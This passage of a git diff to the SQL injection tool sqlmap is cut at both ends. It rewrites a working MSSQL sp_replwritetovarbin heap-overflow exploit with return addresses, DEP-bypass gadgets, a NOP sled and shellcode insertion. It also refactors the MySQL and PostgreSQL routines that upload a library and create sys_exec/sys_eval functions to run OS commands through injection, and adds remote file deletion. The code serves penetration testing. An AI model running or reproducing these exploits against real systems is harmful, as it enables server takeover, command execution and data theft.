int(lastChar) + if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) @@ -73,9 +91,12 @@ def bisection(payload, expression, length=None, charsetType=None): if length == 0: return 0, "" - showEta = conf.eta and isinstance(length, int) + if lastChar > 0 and length > ( lastChar - firstChar ): + length = ( lastChar - firstChar ) + + showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) - threads = [] + threads = [] if showEta: progress = ProgressBar(maxValue=length) @@ -133,8 +154,8 @@ def bisection(payload, expression, length=None, charsetType=None): if conf.threads > 1 and isinstance(length, int) and length > 1: - value = [None] * length - index = [0] # As list for python nested function scoping + value = [ None ] * length + index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() @@ -156,7 +177,7 @@ def bisection(payload, expression, length=None, charsetType=None): charStart = time.time() val = getChar(curidx) - if val == None: + if val is None: raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) value[curidx-1] = val @@ -224,14 +245,14 @@ def bisection(payload, expression, length=None, charsetType=None): dataToStdout(infoMsg) else: - index = 0 + index = firstChar while True: index += 1 charStart = time.time() val = getChar(index, asciiTbl) - if val == None: + if val is None or ( lastChar > 0 and index > lastChar ): break finalValue += val diff --git a/lib/utils/resume.py b/lib/utils/resume.py index 37c9e7067..fbc77931b 100644 --- a/lib/utils/resume.py +++ b/lib/utils/resume.py @@ -107,7 +107,7 @@ def resume(expression, payload): if resumedValue[-1] == "]": resumedValue = resumedValue[:-1] - infoMsg = "read from file '%s': " % conf.sessionFile + infoMsg = "read from file '%s': " % conf.sessionFile logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) if logValue: diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py index 92d21a99a..8e9b98ec5 100644 --- a/plugins/dbms/mssqlserver.py +++ b/plugins/dbms/mssqlserver.py @@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import binascii import os import time @@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov infoMsg = "the back-end DBMS operating system is %s" % kb.os - self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") + self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) versions = { @@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName - self.createSupportTbl(txtTbl, self.tblField, "text") - inject.goStacked("DROP TABLE %s" % hexTbl) - inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) + self.createSupportTbl(txtTbl, self.tblField, "text") + inject.goStacked("DROP TABLE %s" % hexTbl) + inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """ @@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) - def overflowBypassDEP(self): - self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe") - - if self.bypassDEP == False: - return - else: - warnMsg = "sqlmap tried to add the expection for " - warnMsg += "'sqlservr.exe' within the registry, but will not " - warnMsg += "restart the MSSQLSERVER process to avoid denial " - warnMsg += "of service. The buffer overflow trigger could not " - warnMsg += "work, however sqlmap will give it a try. Soon " - warnMsg += "it will come a new MS09-004 exploit to " - warnMsg += "automatically bypass DEP." - logger.warn(warnMsg) - - def spHeapOverflow(self): """ References: @@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov """ returns = { - "2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll) - "2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll) - } - retAddr = None + # 2003 Service Pack 0 + "2003-0": ( "" ), - for version, data in returns.items(): - sp = data[0] - address = data[1] + # 2003 Service Pack 1 + "2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 12/2008 + "2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 09/2009 + #"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ), + } + addrs = None + + for versionSp, data in returns.items(): + version, sp = versionSp.split("-") + sp = int(sp) if kb.osVersion == version and kb.osSP == sp: - retAddr = address + addrs = data break - if retAddr == None: + if addrs is None: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " - errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) + errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) raise sqlmapUnsupportedFeatureException, errMsg + shellcodeChar = "" + hexStr = binascii.hexlify(self.shellcodeString[:-1]) + + for hexPair in range(0, len(hexStr), 2): + shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] + + shellcodeChar = shellcodeChar[:-1] + self.spExploit = """ DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' - declare @retcode int, - @end_offset int, - @vb_buffer varbinary, - @vb_bufferlen int - exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' + DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int + EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN - SET @counter = @counter + 1 - IF @counter = 411 - BEGIN - /* Return address */ - SET @buf = @buf + %s + SET @counter = @counter + 1 + IF @counter = 411 + BEGIN + /* pointer to call [ecx+8] */ + SET @buf = @buf + %s - /* Nopsled */ - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90) - SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+ - CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + /* push ebp, pop esp, ret 4 */ + SET @buf = @buf + %s - /* Metasploit shellcode stage 1 */ - SET @buf = @buf + %s + /* push ecx, pop esp, pop ebp, retn 8 */ + SET @buf = @buf + %s - /* Unroll the stack and return */ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+ - CHAR(0xc3) + /* Garbage */ + SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) - SET @counter = @counter + 302 - SET @val = CHAR(0x43) - CONTINUE - END - SET @buf = @buf + @val + /* retn 1c */ + SET @buf = @buf + %s + + /* retn 1c */ + SET @buf = @buf + %s + + /* anti DEP */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + + set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) + set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) + set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) + + /* Metasploit shellcode */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) + SET @counter = @counter + 302 + SET @val = CHAR(0x43) + CONTINUE + END + SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf - """ % (retAddr, self.shellcodeChar) + """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") self.spExploit = urlencode(self.spExploit, convall=True) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 18ebef644..0942b55d9 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ def __init__(self): - self.__basedir = None - self.excludeDbsList = MYSQL_SYSTEM_DBS + self.__basedir = None + self.__datadir = None + self.excludeDbsList = MYSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF return data-type + "sys_exec": { "return": "int" }, + "sys_eval": { "return": "string" }, + "sys_bineval": { "return": "int" } + } Enumeration.__init__(self, "MySQL") Filesystem.__init__(self) @@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) - if detailed == False: - self.cleanup(onlyFileTbl=True) - - return - self.cleanup(onlyFileTbl=True) @@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile)) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) if confirm == True: self.askCheckWrittenFile(wFile, dFile, fileType) - def udfInit(self): + def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - dFile = None - wFile = paths.SQLMAP_UDF_PATH - lib = "libsqlmapudf%s" % randomStr(lowercase=True) + # On Windows if kb.os == "Windows": - wFile += "/mysql/windows/lib_mysqludf_sys.dll" - libExt = "dll" - else: - wFile += "/mysql/linux/lib_mysqludf_sys.so" - libExt = "so" + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + if banVer >= "5.1.19": + if self.__basedir is None: + logger.info("retrieving MySQL base directory absolute path") - for udf in ( "sys_exec", "sys_eval" ): - if udf in self.createdUdf: - continue + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir + self.__basedir = inject.getValue("SELECT @@basedir") + self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) - logger.info("checking if %s UDF already exist" % udf) - - query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf)) - exists = inject.getValue(query, resumeValue=False, unpack=False) - - if exists == "1": - message = "%s UDF already exists, do you " % udf - message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - - if output and output in ("y", "Y"): - self.udfToCreate.add(udf) - else: - self.udfToCreate.add(udf) - - if len(self.udfToCreate) > 0: - # On Windows - if kb.os == "Windows": - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if banVer >= "5.1.19": - if self.__basedir == None: - logger.info("retrieving MySQL base directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir - self.__basedir = inject.getValue("SELECT @@basedir") - self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) - - if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): - kb.os = "Windows" - - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin - dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt) - - logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) - - # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file - # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file - else: - #logger.debug("retrieving MySQL data directory absolute path") - - # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #datadir = inject.getValue("SELECT @@datadir") - - # NOTE: specifying the relative path as './udf.dll' - # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - datadir = "." - datadir = os.path.normpath(datadir.replace("\\", "/")) - - if re.search("[\w]\:\/", datadir, re.I): + if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): kb.os = "Windows" - # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, - # C:\WINDOWS\system32, @@basedir\bin or @@datadir - dFile = "%s/%s.%s" % (datadir, lib, libExt) + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) - # On Linux + logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) + + # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file + # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - # The SO can be in either /lib, /usr/lib or one of the - # paths specified in /etc/ld.so.conf file, none of these - # paths are writable by mysql user by default - # TODO: test with plugins folder on MySQL >= 5.1.19 - dFile = "/usr/lib/%s.%s" % (lib, libExt) + #logger.debug("retrieving MySQL data directory absolute path") - self.writeFile(wFile, dFile, "binary", False) + # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir + #self.__datadir = inject.getValue("SELECT @@datadir") - for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ): - if udf in self.createdUdf: - continue + # NOTE: specifying the relative path as './udf.dll' + # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 + self.__datadir = "." + self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/")) - if udf in self.udfToCreate: - logger.info("creating %s UDF from the binary UDF file" % udf) + if re.search("[\w]\:\/", self.__datadir, re.I): + kb.os = "Windows" - # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt)) - else: - logger.debug("keeping existing %s UDF as requested" % udf) + # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, + # C:\WINDOWS\system32, @@basedir\bin or @@datadir + self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in either /lib, /usr/lib or one of the + # paths specified in /etc/ld.so.conf file, none of these + # paths are writable by mysql user by default + # TODO: test with plugins folder on MySQL >= 5.1.19 + self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + ret = inpRet["return"] + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + def udfInjectCmd(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfSharedLibExt = "so" + + self.udfInjectCore(self.sysUdfs) self.envInitialized = True - debugMsg = "creating a support table to write commands standard " - debugMsg += "output to" - logger.debug(debugMsg) - - self.createSupportTbl(self.cmdTblName, self.tblField, "longtext") - def uncPathRequest(self): if kb.stackedTest == False: diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index ed76b2a34..ee86ae0b3 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp from lib.core.common import getRange from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": { + "input": [ "text" ], + "return": "int4" + }, + "sys_eval": { + "input": [ "text" ], + "return": "text" + }, + "sys_bineval": { + "input": [ "text" ], + "return": "int4" + } + } Enumeration.__init__(self, "PostgreSQL") Filesystem.__init__(self) @@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "character(500)") + self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner - osWindows = ( " Visual C++", " mingw" ) + osWindows = ( " Visual C++", "mingw" ) for osPattern in osWindows: - query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" query = agent.forgeCaseStatement(query) @@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) - if detailed == False: - self.cleanup(onlyFileTbl=True) - - return - self.cleanup(onlyFileTbl=True) @@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # NOTE: lo_export() exports up to only 8192 bytes of the file # (pg_largeobject 'data' field) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile)) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) if confirm == True: self.askCheckWrittenFile(wFile, dFile, fileType) @@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - def udfInit(self): + def udfSetRemotePath(self): + # On Windows + if kb.os == "Windows": + # The DLL can be in any folder where postgres user has + # read/write/execute access is valid + # NOTE: by not specifing any path, it will save into the + # data directory, on PostgreSQL 8.3 it is + # C:\Program Files\PostgreSQL\8.3\data. + self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in any folder where postgres user has + # read/write/execute access is valid + self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + inp = ", ".join(i for i in inpRet["input"]) + ret = inpRet["return"] + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + + def udfInjectCmd(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - dFile = None - wFile = paths.SQLMAP_UDF_PATH - lib = "libsqlmapudf%s" % randomStr(lowercase=True) if banVer >= "8.3": majorVer = "8.3" @@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove majorVer = "8.2" if kb.os == "Windows": - wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer - libExt = "dll" + self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer + self.udfSharedLibExt = "dll" else: - wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer - libExt = "so" - - for udf in ( "sys_exec", "sys_eval" ): - if udf in self.createdUdf: - continue - - logger.info("checking if %s UDF already exist" % udf) - - query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf)) - exists = inject.getValue(query, resumeValue=False, unpack=False) - - if exists == "1": - message = "%s UDF already exists, do you " % udf - message += "want to overwrite it? [y/N] " - output = readInput(message, default="N") - - if output and output in ("y", "Y"): - self.udfToCreate.add(udf) - else: - self.udfToCreate.add(udf) - - if len(self.udfToCreate) > 0: - # On Windows - if kb.os == "Windows": - # The DLL can be in any folder where postgres user has - # read/write/execute access is valid - # NOTE: by not specifing any path, it will save into the - # data directory, on PostgreSQL 8.3 it is - # C:\Program Files\PostgreSQL\8.3\data. - dFile = "%s.%s" % (lib, libExt) - - # On Linux - else: - # The SO can be in any folder where postgres user has - # read/write/execute access is valid - dFile = "/tmp/%s.%s" % (lib, libExt) - - self.writeFile(wFile, dFile, "binary", False) - - for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ): - if udf in self.createdUdf: - continue - - if udf in self.udfToCreate: - logger.info("creating %s UDF from the binary UDF file" % udf) - - # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf)) - else: - logger.debug("keeping existing %s UDF as requested" % udf) - - self.createdUdf.add(udf) + self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer + self.udfSharedLibExt = "so" + self.udfInjectCore(self.sysUdfs) self.envInitialized = True - debugMsg = "creating a support table to write commands standard " - debugMsg += "output to" - logger.debug(debugMsg) - - self.createSupportTbl(self.cmdTblName, self.tblField, "text") - def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 57deab7dd..940dd3265 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -46,12 +46,15 @@ class Miscellaneous: if kb.os == "Windows": # NOTES: # - # * MySQL runs by default as SYSTEM and the system-wide - # temporary files directory is C:\WINDOWS\Temp + # * The system-wide temporary files directory is + # C:\WINDOWS\Temp + # + # * MySQL runs by default as SYSTEM # # * PostgreSQL runs by default as postgres user and the # temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp, - # however the system-wide folder is writable too + # however the system-wide folder is writable too + # #infoMsg = "retrieving remote absolute path of temporary files " #infoMsg += "directory" #logger.info(infoMsg) @@ -70,12 +73,28 @@ class Miscellaneous: setRemoteTempPath() + def delRemoteTempFile(self, tempFile, bat=False): + self.checkDbmsOs() + + if kb.os == "Windows": + if bat is True: + tempFile = tempFile.replace("/", "\\\\") + else: + tempFile = tempFile.replace("/", "\\") + + cmd = "del /F /Q %s" % tempFile + else: + cmd = "rm -f %s" % tempFile + + self.execCmd(cmd, forgeCmd=True) + + def createSupportTbl(self, tblName, 